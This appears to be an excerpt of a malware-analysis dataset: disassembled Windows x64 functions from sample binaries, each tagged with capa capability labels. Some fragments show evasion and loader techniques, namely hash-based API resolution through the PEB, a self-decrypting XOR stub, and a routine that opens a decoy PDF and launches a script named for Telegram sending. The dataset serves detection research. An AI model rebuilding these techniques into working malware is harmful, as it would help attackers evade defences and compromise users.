joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180090f10
Capabilities:
Access peb ldr_data
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x70
mov rax, qword gs:[0x30]
movzx ebp, dl
mov edi, ecx
mov r8, qword [rax + 0x60]
mov rsi, qword [r8 + 0x18]
add rsi, 0x20
mov r10, qword [rsi]
cmp r10, rsi
je 0x180090ffa
nop word [rax + rax]
movzx ebx, word [r10 + 0x48]
xorps xmm0, xmm0
xor eax, eax
shr rbx, 1
xor r9d, r9d
mov dword [rsp + 0x60], eax
movups xmmword [rsp], xmm0
movups xmmword [rsp + 0x10], xmm0
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
add rbx, 0xfffffffffffffffc
je 0x180090fbb
mov r11, qword [r10 + 0x50]
nop dword [rax + rax]
movzx edx, word [r11]
lea r11, [r11 + 2]
movzx r8d, dl
sub dx, 0x41
cmp dx, 0x19
lea eax, [r8 + 0x20]
movzx ecx, al
cmova ecx, r8d
mov byte [rsp + r9], cl
inc r9
cmp r9, rbx
jne 0x180090f90
test edi, edi
je 0x180091012
movzx eax, byte [rsp]
lea rdx, [rsp]
mov r8d, 0x84222325
test al, al
je 0x180090fe9
movsx ecx, al
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
xor ecx, r8d
imul r8d, ecx, 0x1b3
test al, al
jne 0x180090fd1
cmp edi, r8d
je 0x180091012
mov r10, qword [r10]
cmp r10, rsi
jne 0x180090f50
xor eax, eax
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
test bpl, bpl
je 0x180091043
mov rcx, qword [r10 - 0x10]
mov rax, qword [r10 - 8]
mov qword [rcx + 8], rax
mov rcx, qword [r10 - 8]
mov rax, qword [r10 - 0x10]
mov qword [rcx], rax
mov rcx, qword [r10]
mov rax, qword [r10 + 8]
mov qword [rcx + 8], rax
mov rcx, qword [r10 + 8]
mov rax, qword [r10]
mov qword [rcx], rax
mov rax, qword [r10 + 0x20]
jmp 0x180090ffc

Function at 0x180091050
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov rax, qword gs:[0x30]
movzx ebp, r8b
mov rsi, rdx
mov r14d, ecx
mov r9, qword [rax + 0x60]
mov rdi, qword [r9 + 0x18]
add rdi, 0x20
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x1800910b3
mov rcx, qword [rbx + 0x20]
cmp rsi, rcx
je 0x1800910ab
movzx r8d, bpl
mov edx, r14d
call fcn.1800910d0
test rax, rax
jne 0x1800910b5
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x180091091
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x180091580
Capabilities:
Parse pe header

Disassembly:
test rcx, rcx
je 0x1800915a3
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1800915a3
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
xor ecx, ecx
cmp dword [rax], 0x4550
cmovne rax, rcx
ret
xor eax, eax
ret
Function at 0x140053840
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14005388a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14005388a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14005388a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14005388a
cmp dword [rcx + 0x84], 0xe
jbe 0x14005388a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14005388c
xor al, al
add rsp, 0x28
ret

Function at 0x140054b90
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140054cd8

Function at 0x140054cd8
Capabilities:
Parse pe header

Disassembly:
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140054cd8
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140054d47
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140054d47
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140054d47
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140054d47
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140054d47
cmp dword [rcx + 0x84], 0xe
jbe 0x140054d47
cmp dword [rcx + 0xf8], 0
je 0x140054d47
mov ecx, ebx
call fcn.140054c10
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140054e6c
nop
cmp dword [rbp + 0x20], 0
je 0x140054d95
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140054ca4
int3

Function at 0x1400562d0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400562f8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400562f8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x14005bdfc
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14005be2c
xor eax, eax
jmp 0x14005beef
mov rbp, rbx
cmp word [rax], si
je 0x14005be51
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14005be38
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14005be34
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14005bd1c
movsxd r14, eax
test eax, eax
jne 0x14005be8f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14005be25
mov rcx, r14
call fcn.14005a8bc
mov rdi, rax
test rax, rax
jne 0x14005bea8
xor ecx, ecx
call fcn.140059890
jmp 0x14005be84
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14005bd1c
test eax, eax
jne 0x14005bed9
mov rcx, rdi
call fcn.140059890
jmp 0x14005bee3
xor ecx, ecx
call fcn.140059890
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14105a934
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14105a93e
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x14105a967
pop rbp
sub rbp, 0x33
sub rbp, 0x105a934
sub rsp, 0x20
jmp 0x14105a986
mov rax, 0x105a934
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0x125f659
xor byte [rax], dl
inc rax
dec rcx
jne 0x14105a9a5
jmp 0x14105a9bc
adc eax, edx
mov al, 0xd2
shl byte [rbp + 0x59], 1
pop rcx
pop rcx
adc eax, ebx
cwde
push rcx
pop rax
pop rcx
pop rcx
adc dword [rax - 0x50], ebx
adc dword [rsi + 0x59595199], ebx
pop rcx
adc dword [rsi + 0x5959719b], ebx
pop rcx
adc dword [rsi - 0x67a7ee45], ebp
rcr al, cl
push rbp
pop rcx
pop rcx
pop rcx
adc dword [rax - 0x4f], ebx
or dword [rcx], ecx
adc ecx, esp
jne 0x14105aa01
jbe 0x14105aa4d
pop rcx
pop rcx
pop rcx
pop rcx
adc eax, esp
push rcx
or cl, byte [rdi + 0x59595959]
pop rcx
adc dword [rax - 0x50], ebx
adc ebx, esp
xor eax, 0x597c9016
pop rcx
pop rcx
pop rcx
mov cl, 0x5c
pop rcx
pop rcx
pop rcx
mov al, 0x4f
pop rcx
pop rcx
pop rcx
cwde
mov cl, 0x5b
push 0xffffffff98d81148
pop rbp
pop rcx
pop rcx
pop rcx
adc dword [rsi - 0x4823a96f], esp
cmpsb byte [rsi], byte [rdi]
cmpsb byte [rsi], byte [rdi]
cmpsb byte [rsi], byte [rdi]
invalid
pop rcx
pop rcx
mov al, 0xd4
pop rbx
pop rcx
pop rcx
or esi, dword [rcx + 0x59595924]
add ecx, dword [rsi]
adc eax, edx
mov ss, word [rcx]
push 0xffffffff8b681190
fidiv dword [rcx - 0x6e59eea4]
push rsi
fnstsw word [0x1975f03cb]
rol dword [rdi], 1
pop rcx
pop rcx
pop rcx
invalid
Function at 0x1400014b0
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x58
mov qword [rsp + 0x38], 0
mov ecx, 0x20
call fcn.140001850
mov r8, rax
mov qword [rsp + 0x30], rax
movdqa xmm0, xmmword [0x1400033f0]
movdqu xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [str.C:UsersdimalDownloads1.pdf]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400033a0]
movsd qword [rax + 0x10], xmm0
mov eax, dword [0x1400033a8]
mov dword [r8 + 0x18], eax
movzx eax, word [0x1400033ac]
mov word [r8 + 0x1c], ax
mov byte [r8 + 0x1e], 0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140001572
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000156d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000156d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000188c
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov ecx, 0x40
call fcn.140001850
mov rcx, rax
mov qword [rsp + 0x30], rax
movdqa xmm0, xmmword [0x140003400]
movdqu xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [str.C:UsersdimalTools_for_CSDangerous_scripts_tg_sendapi.vbs]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400033c0]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x1400033d0]
movups xmmword [rax + 0x20], xmm0
movsd xmm0, qword [0x1400033e0]
movsd qword [rax + 0x30], xmm0
mov eax, dword [0x1400033e8]
mov dword [rcx + 0x38], eax
mov byte [rcx + 0x3c], 0
lea rcx, [rsp + 0x30]
call fcn.1400011c0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000161f
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000161a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000161a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000188c
xor eax, eax
add rsp, 0x58
ret

Function at 0x1400021b0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400021fa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400021fa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400021fa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400021fa
cmp dword [rcx + 0x84], 0xe
jbe 0x1400021fa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400021fc
xor al, al
add rsp, 0x28
ret
Function at 0x140001440
Capabilities:
Create thread

Disassembly:
push rsi
sub rsp, 0x110
mov r11, r9
mov qword [rsp + 0x68], r11
mov qword [rsp + 0x30], r8
mov rax, rdx
mov rdx, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov rax, rcx
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x168]
mov qword [rsp + 0x58], rax
mov r8, qword [rsp + 0x160]
mov qword [rsp + 0x50], r8
mov r9d, dword [rsp + 0x158]
mov dword [rsp + 0x84], r9d
mov r9, qword [rsp + 0x150]
mov qword [rsp + 0x48], r9
mov r10, qword [rsp + 0x148]
mov qword [rsp + 0x40], r10
mov rsi, qword [rsp + 0x140]
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0xa8], rcx
mov qword [rsp + 0xb0], rdx
mov qword [rsp + 0xb8], r11
mov qword [rsp + 0xc0], r10
mov qword [rsp + 0xc8], r9
mov qword [rsp + 0xd0], r8
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe0], 0
mov qword [rsp + 0xe8], 0
xor eax, eax
mov r8d, eax
call fcn.140002690
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0xf8], 0
xor eax, eax
mov r8d, eax
call fcn.140002730
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x100], 0
mov qword [rsp + 0x108], 0
xor eax, eax
mov r8d, eax
call fcn.1400026e0
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x70]
mov r9, qword [rsp + 0x78]
mov r10d, dword [rsp + 0x84]
mov dword [rsp + 0x20], r10d
mov qword [rsp + 0x28], rax
call qword [sym.imp.kernel32.dll_CreateThread]
mov qword [rsp + 0xa0], rax
lea rcx, [rsp + 0xa0]
call fcn.140002940
mov cl, al
xor cl, 0xff
and cl, 1
lea rdx, [rsp + 0xa0]
call fcn.140002820
mov rcx, qword [rsp + 0x88]
mov qword [rsp + 0x90], rax
mov r8, rdx
mov rdx, qword [rsp + 0x90]
call fcn.140002620
mov rax, qword [rsp + 0x98]
add rsp, 0x110
pop rsi
ret

Function at 0x1400024e0
Capabilities:
Resume thread

Disassembly:
sub rsp, 0x38
mov qword [rsp + 0x30], rcx
call fcn.1400025b0
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rdx
lea rcx, [rsp + 0x20]
call fcn.140002090
mov rcx, rax
call qword [sym.imp.kernel32.dll_ResumeThread]
nop
add rsp, 0x38
ret
Function at 0x1400097b0
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x478
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
mov qword [rbp + 0x3d0], rcx
mov qword [rbp + 0x3d8], 0
mov qword [rbp + 0x3e0], 2
mov qword [rbp + 0x3e8], 0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3c8], rax
xor esi, esi
xor edi, edi
xor ebx, ebx
cmp r8, 0x201
jae 0x140009850
jmp 0x14000983f
jae 0x14000990f
cmp r8, 0x201
jae 0x140009850
mov r14d, 0x200
lea r15, [rbp - 0x58]
mov r12, r8
jmp 0x1400098a7
sub r8, rbx
sub rdi, rbx
cmp rdi, r8
jae 0x14000987f
lea rcx, [rbp + 0x3d8]
mov rdx, rbx
call fcn.14001cb90
mov rsi, qword [rbp + 0x3d8]
mov rax, qword [rbp + 0x3e0]
mov qword [rbp + 0x3c8], rax
mov eax, 0xffffffff
cmp rsi, rax
mov ebx, 0xffffffff
cmovb rbx, rsi
mov qword [rbp + 0x3e8], rbx
mov rdi, rsi
mov r14, rbx
mov r15, qword [rbp + 0x3c8]
mov r12, rbx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov ecx, r12d
mov rdx, r15
call qword [sym.imp.kernel32.dll_GetCurrentDirectoryW]
mov r13d, eax
test eax, eax
jne 0x1400098d0
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x14000997b
mov r8d, r13d
cmp r12, r8
jne 0x140009830
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1400099af
add r12, r12
mov eax, 0xffffffff
cmp r12, rax
cmovae r12, rax
mov r8, r12
cmp r8, 0x201
jb 0x14000983f
jmp 0x140009850
cmp r14, r8
jb 0x1400099c9
lea rcx, [rbp + 0x3a8]
mov rdx, r15
call fcn.14000ab20
movups xmm0, xmmword [rbp + 0x3a8]
movups xmm1, xmmword [rbp + 0x3b8]
mov rsi, qword [rbp + 0x3d0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov rdx, qword [rbp + 0x3d8]
test rdx, rdx
je 0x140009964
mov rcx, qword [rbp + 0x3e0]
add rdx, rdx
mov r8d, 2
call fcn.140002910
mov rax, rsi
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp + 0x3d0]
mov qword [rsi + 8], rax
movabs rax, 0x8000000000000000
mov qword [rsi], rax
mov rdx, qword [rbp + 0x3d8]
test rdx, rdx
jne 0x14000994f
jmp 0x140009964
lea rcx, str.internal_error:_entered_unreachable_code_rustc_3f5fd8dd41153bc5fdca9427e9e05be2c767ba23library_alloc_src_vecmod.rs
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov edx, 0x28
call fcn.14001d850
jmp 0x1400099de
lea rax, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r8
mov rdx, r14
mov r8, rax
call fcn.14001dcc0
ud2
Function at 0x14000ef00
Capabilities:
Write file on windows

Disassembly:
push rbp
push rsi
sub rsp, 0xa8
lea rbp, [rsp + 0x80]
mov rsi, rcx
movups xmm0, xmmword [0x140020b00]
movaps xmmword [rbp], xmm0
mov eax, 0xffffffff
cmp r8, rax
cmovb rax, r8
test r9, r9
je 0x14000ef38
mov rcx, qword [rbp + 0x60]
mov qword [rbp - 0x30], rcx
test r9, r9
mov qword [rbp - 0x38], r9
lea rcx, [rbp - 0x30]
cmove rcx, r9
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rdx
mov rax, rbp
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x14000ef96
mov rcx, rsi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov eax, dword [rbp]
cmp eax, 0x103
je 0x14000efc3
test eax, eax
js 0x14000efa2
mov rdx, qword [rbp + 8]
xor eax, eax
jmp 0x14000efb9
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov eax, 1
add rsp, 0xa8
pop rsi
pop rbp
ret
mov dword [rbp + 0x18], 0
mov byte [rbp + 0x1c], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
lea rax, [rbp + 0x20]
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
lea rcx, [rbp + 0x18]
lea rdx, [rbp - 0x38]
call fcn.14000a8a0
mov qword [rbp - 8], rax
lea rcx, [rbp - 8]
call fcn.140007f90
mov ecx, 7
int 0x29
ud2
Function at 0x14001adc0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
test r8, r8
je 0x14001ae4a
mov rax, rdx
mov rdx, qword [rbp + 0x50]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x14001ae40
cmp r11, r10
ja 0x14001aec6
cmp r10, rdx
ja 0x14001aed8
add r11, r9
xor ebx, ebx
nop word cs:[rax + rax]
cmp rdi, rbx
je 0x14001ae42
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x14001ae20
jmp 0x14001aea7
ja 0x14001ae4a
mov r11, r10
cmp rax, r8
jne 0x14001ade7
mov rdx, qword [rbp + 0x60]
test rdx, rdx
je 0x14001aeab
mov r8, qword [rbp + 0x58]
add rdx, r8
movzx ecx, cx
mov al, 1
nop
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x14001ae80
mov r8, r10
sub ecx, r9d
jns 0x14001ae9e
jmp 0x14001aead
cmp r10, rdx
je 0x14001aeba
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x14001aead
xor al, 1
cmp r8, rdx
jne 0x14001ae60
jmp 0x14001aead
xor eax, eax
jmp 0x14001aead
mov al, 1
and al, 1
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
lea rcx, str.librarycore_srcunicodeprintable.rs
call fcn.14001d710
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.14001dd30
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.14001dcc0
int3

Function at 0x14001c57c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x14001c5c6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001c5c6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001c5c6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001c5c6
cmp dword [rcx + 0x84], 0xe
jbe 0x14001c5c6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001c5c8
xor al, al
add rsp, 0x28
ret
Function at 0x180005410
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, rdx
mov rdx, rcx
mov rcx, rax
jmp 0x180010e60
mov rax, qword gs:[0x30]
mov r10, rcx
mov r8, qword [rax + 0x60]
mov r9, qword [r8 + 0x18]
add r9, 0x20
mov rax, qword [r9]
nop dword [rax + rax]
cmp qword [rax + 0x20], rdx
je 0x180010e9d
test rdx, rdx
je 0x180010e9d
mov rax, qword [rax]
cmp rax, r9
jne 0x180010e80
mov qword [rcx], 0
xor eax, eax
ret
mov rcx, qword [rax + 0x40]
mov qword [r10], rcx
movzx eax, word [rax + 0x38]
shr eax, 1
ret
Function at 0x180005a20
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, rsp
and rsp, 0xfffffffffffffff0
xor r8, r8
push r8
push rax
pushfq
push r8
push rdx
sub rsp, 0xa8
push r8
push r15
push r14
push r13
push r12
push rbx
push r8
push rsi
push rdi
push rbp
push rax
push rdx
sub rsp, 0x280
movdqa xmmword [rsp + 0x2e0], xmm6
movdqa xmmword [rsp + 0x2f0], xmm7
movdqa xmmword [rsp + 0x300], xmm8
movdqa xmmword [rsp + 0x310], xmm9
movdqa xmmword [rsp + 0x320], xmm10
movdqa xmmword [rsp + 0x330], xmm11
movdqa xmmword [rsp + 0x340], xmm12
movdqa xmmword [rsp + 0x350], xmm13
movdqa xmmword [rsp + 0x360], xmm14
movdqa xmmword [rsp + 0x370], xmm15
mov eax, dword [0x18040fc1c]
mov rbx, qword gs:[0x58]
mov rbx, qword [rbx + rax*8]
mov eax, 0x10
add rax, rbx
lea rdx, [rsp + 0x20]
xor r8, r8
mov qword [rdx + 0x10], r8
mov byte [rdx + 0x19], 1
mov dword [rdx + 0x1c], 0xffffffff
mov byte [rdx + 0x18], 2
mov r8, qword [rax + 0x80]
mov qword [rdx], r8
mov qword [rax + 0x80], rdx
lea r8, [rsp + 0x280]
mov qword [rdx + 8], r8
call fcn.18013d020
int3
push r15
push r14
push r13
push r12
push rbx
push rsi
push rdi
push rbp
sub rsp, 0xd8
movdqa xmmword [rsp + 0x20], xmm6
movdqa xmmword [rsp + 0x30], xmm7
movdqa xmmword [rsp + 0x40], xmm8
movdqa xmmword [rsp + 0x50], xmm9
movdqa xmmword [rsp + 0x60], xmm10
movdqa xmmword [rsp + 0x70], xmm11
movdqa xmmword [rsp + 0x80], xmm12
movdqa xmmword [rsp + 0x90], xmm13
movdqa xmmword [rsp + 0xa0], xmm14
movdqa xmmword [rsp + 0xb0], xmm15
mov qword [rsp + 0x120], rcx
mov qword [rsp + 0x128], rdx
mov qword [rsp + 0x130], r8
mov qword [rsp + 0x138], r9
mov eax, dword [0x18040fc1c]
mov rbx, qword gs:[0x58]
mov rbx, qword [rbx + rax*8]
mov eax, 0x10
add rax, rbx
mov qword [rsp + 0xc0], rax
cmp rcx, qword [rax + 0x88]
sete byte [rsp + 0xd0]
lock and dword [rax + 0x38], 0xffffffef
mov rax, qword [r8 + 0x18]
mov rbx, qword [rax]
mov rax, qword [r8 + 0x20]
mov rbp, qword [rax]
mov rax, qword [r8 + 0x28]
mov rsi, qword [rax]
mov rax, qword [r8 + 0x30]
mov rdi, qword [rax]
mov rax, qword [r8 + 0x58]
mov r12, qword [rax]
mov rax, qword [r8 + 0x60]
mov r13, qword [rax]
mov rax, qword [r8 + 0x68]
mov r14, qword [rax]
mov rax, qword [r8 + 0x70]
mov r15, qword [rax]
movdqa xmm6, xmmword [r8 + 0x90]
movdqa xmm7, xmmword [r8 + 0xa0]
movdqa xmm8, xmmword [r8 + 0xb0]
movdqa xmm9, xmmword [r8 + 0xc0]
movdqa xmm10, xmmword [r8 + 0xd0]
movdqa xmm11, xmmword [r8 + 0xe0]
movdqa xmm12, xmmword [r8 + 0xf0]
movdqa xmm13, xmmword [r8 + 0x100]
movdqa xmm14, xmmword [r8 + 0x110]
movdqa xmm15, xmmword [r8 + 0x120]
mov rcx, qword [r8 + 0x78]
mov rdx, qword [rsp + 0x120]
call qword [rsp + 0x128]
mov r8, qword [rsp + 0x130]
mov rdx, qword [rsp + 0xc0]
mov rcx, qword [rdx + 0x70]
cmp rcx, 0
je 0x180005bb0
mov r9, qword [rdx + 0x68]
mov qword [r9], rcx
mov qword [rdx + 0x68], 0
mov qword [rdx + 0x70], 0
mov rcx, qword [rsp + 0x138]
mov r8, qword [r8 + 0x78]
xor r9d, r9d
mov rcx, qword [rcx]
cmp rcx, r9
je 0x180005bcc
cmp rcx, r8
jl 0x180005bbf
mov qword [rdx + 0x80], rcx
test dword [0x180404af8], 1
je 0x180005bfb
cmp byte [rsp + 0xd0], 0
je 0x180005bfb
mov rcx, 0x43
mov rdx, rax
mov rsp, r8
jmp 0x180005720
mov rsp, r8
jmp rax